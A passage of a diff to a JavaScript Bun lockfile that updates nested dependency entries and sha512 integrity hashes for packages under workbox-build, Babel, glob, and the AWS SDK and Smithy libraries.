- "workbox-build/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.22.5", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-numeric-separator": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.23.4", "", { "dependencies": { "@babel/compat-data": "^7.23.3", "@babel/helper-compilation-targets": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-transform-parameters": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.23.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/plugin-syntax-optional-chaining": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.23.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-private-property-in-object": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9G3K1YqTq3F4Vt88Djx1UZ79PDyj+yKRnUy7cZGSMe+a7jkwD259uKKuUzQlPkGam7R+8RJwh5z4xO27fA1o2A=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KP+75h0KghBMcVpuKisx3XTu9Ncut8Q8TuvGO4IhY+9D5DFEckQefOuIsB/gQ2tG71lCke4NMrtIPS8pOj18BQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.23.3", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.9.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0", "core-js-compat": "^3.34.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
-
- "workbox-build/@babel/preset-env/core-js-compat": ["core-js-compat@3.35.1", "", { "dependencies": { "browserslist": "^4.22.2" } }, "sha512-sftHa5qUJY3rs9Zht1WEnmkvXputCyDBczPnr7QDgL8n3qrF3CMXY4VPSYtOLLiOUJcah2WNXREd48iOl6mQIw=="],
+ "workbox-build/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
@@ -7723,6 +7523,16 @@
"workbox-build/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+ "workbox-build/glob/foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="],
+
+ "workbox-build/glob/jackspeak": ["jackspeak@4.2.3", "", { "dependencies": { "@isaacs/cliui": "^9.0.0" } }, "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg=="],
+
+ "workbox-build/glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
+
+ "workbox-build/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
+ "workbox-build/glob/path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
+
"workbox-build/source-map/whatwg-url": ["whatwg-url@7.1.0", "", { "dependencies": { "lodash.sortby": "^4.7.0", "tr46": "^1.0.1", "webidl-conversions": "^4.0.2" } }, "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg=="],
"wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.4.0", "", {}, "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw=="],
@@ -7735,7 +7545,11 @@
"@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -7749,28 +7563,26 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.948.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-iWjchXy8bIAVBUsKnbfKYXRwhLgRg3EqCQ5FTr3JbR+QR75rZm4ZOYXlvHGztVTmtAZ+PQVA1Y4zO7v7N87C0A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-eFndh1WEK5YMUYvy3lPlVmYY/fZcQE1D8oSf41Id2vCeIkKJXPcYDCZD+4+xViI6b1XSd7tE+s5AmXzz5ilabQ=="],
@@ -7791,7 +7603,11 @@
"@aws-sdk/client-cognito-identity/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
